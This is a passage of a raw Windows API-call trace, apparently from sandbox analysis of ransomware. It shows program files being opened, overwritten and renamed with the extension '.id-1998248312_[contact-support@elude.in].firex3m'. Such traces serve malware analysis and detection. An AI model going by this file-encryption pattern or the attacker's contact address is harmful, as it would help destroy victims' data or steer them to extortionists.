ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b0f72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32ab8, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPFT53~1.FIR")) returned 0x6d5280 [0204.080] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0204.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0204.080] GetProcessHeap () returned 0x630000 [0204.080] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0204.080] GetProcessHeap () returned 0x630000 [0204.080] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0204.080] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.080] ReadFile (in: hFile=0x414, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.151] GetProcessHeap () returned 0x630000 [0212.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0212.152] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.152] WriteFile (in: hFile=0x414, lpBuffer=0x71803a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0212.152] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.152] WriteFile (in: hFile=0x414, lpBuffer=0x718b7a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7a7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.138] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.138] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.138] CloseHandle (hObject=0x414) returned 1 [0214.138] GetProcessHeap () returned 0x630000 [0214.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0214.138] GetProcessHeap () returned 0x630000 [0214.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0214.139] GetProcessHeap () returned 0x630000 [0214.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0214.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x459626d7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32adc, dwReserved0=0xc787496, dwReserved1=0x7219160, cFileName="WPFT532.CNV.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPFT53~1.FIR")) returned 0x6d5280 [0214.139] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0214.139] Sleep (dwMilliseconds=0x1) [0215.964] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml") returned 1 [0215.964] GetProcessHeap () returned 0x630000 [0215.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fd8) returned 0x74d7f88 [0215.964] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0215.964] CloseHandle (hObject=0x678) returned 1 [0215.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.965] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0215.966] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0215.966] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0215.966] GetProcessHeap () returned 0x630000 [0215.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3b38 [0215.966] GetProcessHeap () returned 0x630000 [0215.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3960 [0215.966] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.966] ReadFile (in: hFile=0x678, lpBuffer=0x70f3b38, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3b38*, lpNumberOfBytesRead=0x357ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0215.968] GetProcessHeap () returned 0x630000 [0215.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0215.968] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.968] WriteFile (in: hFile=0x678, lpBuffer=0x70f3960*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3960*, lpNumberOfBytesWritten=0x357ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0215.969] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.969] WriteFile (in: hFile=0x678, lpBuffer=0x70f3aff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3aff*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.969] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.969] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.969] CloseHandle (hObject=0x678) returned 1 [0215.969] GetProcessHeap () returned 0x630000 [0215.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3960 | out: hHeap=0x630000) returned 1 [0215.969] GetProcessHeap () returned 0x630000 [0215.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3b38 | out: hHeap=0x630000) returned 1 [0215.969] GetProcessHeap () returned 0x630000 [0215.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0215.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46ad1827, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x357fd20, dwReserved1=0x70f3b38, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0215.970] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0215.970] Sleep (dwMilliseconds=0x1) [0217.509] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml") returned 1 [0217.509] GetProcessHeap () returned 0x630000 [0217.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c4) returned 0x6fe3bb0 [0217.509] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.510] CloseHandle (hObject=0x714) returned 1 [0217.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.510] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4ec0 [0217.512] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0217.512] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.512] GetProcessHeap () returned 0x630000 [0217.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8708 [0217.512] GetProcessHeap () returned 0x630000 [0217.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0217.512] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.512] ReadFile (in: hFile=0x714, lpBuffer=0x6d8708, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8708*, lpNumberOfBytesRead=0x357ff0c*=0x240, lpOverlapped=0x0) returned 1 [0217.516] GetProcessHeap () returned 0x630000 [0217.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0217.516] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.516] WriteFile (in: hFile=0x714, lpBuffer=0x6d6db8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesWritten=0x357ff0c*=0x240, lpOverlapped=0x0) returned 1 [0217.516] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.516] WriteFile (in: hFile=0x714, lpBuffer=0x6d6ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6ff7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.517] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.517] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.517] CloseHandle (hObject=0x714) returned 1 [0217.517] GetProcessHeap () returned 0x630000 [0217.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0217.517] GetProcessHeap () returned 0x630000 [0217.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8708 | out: hHeap=0x630000) returned 1 [0217.517] GetProcessHeap () returned 0x630000 [0217.517] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0217.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea24eee, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ea24eee, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47992150, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x357fd20, dwReserved1=0x6d8708, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0217.517] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.517] Sleep (dwMilliseconds=0x1) [0217.540] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml") returned 1 [0217.540] GetProcessHeap () returned 0x630000 [0217.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b8) returned 0x6fe3bb0 [0217.541] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.541] CloseHandle (hObject=0x6cc) returned 1 [0217.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.541] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0217.542] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0217.542] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.542] GetProcessHeap () returned 0x630000 [0217.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f40c0 [0217.543] GetProcessHeap () returned 0x630000 [0217.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3b38 [0217.543] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.543] ReadFile (in: hFile=0x6cc, lpBuffer=0x70f40c0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f40c0*, lpNumberOfBytesRead=0x357ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.545] GetProcessHeap () returned 0x630000 [0217.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0217.545] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.545] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f3b38*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3b38*, lpNumberOfBytesWritten=0x357ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.545] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.545] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f3cd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3cd7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.546] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.546] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.546] CloseHandle (hObject=0x6cc) returned 1 [0217.546] GetProcessHeap () returned 0x630000 [0217.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3b38 | out: hHeap=0x630000) returned 1 [0217.546] GetProcessHeap () returned 0x630000 [0217.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f40c0 | out: hHeap=0x630000) returned 1 [0217.546] GetProcessHeap () returned 0x630000 [0217.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0217.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, 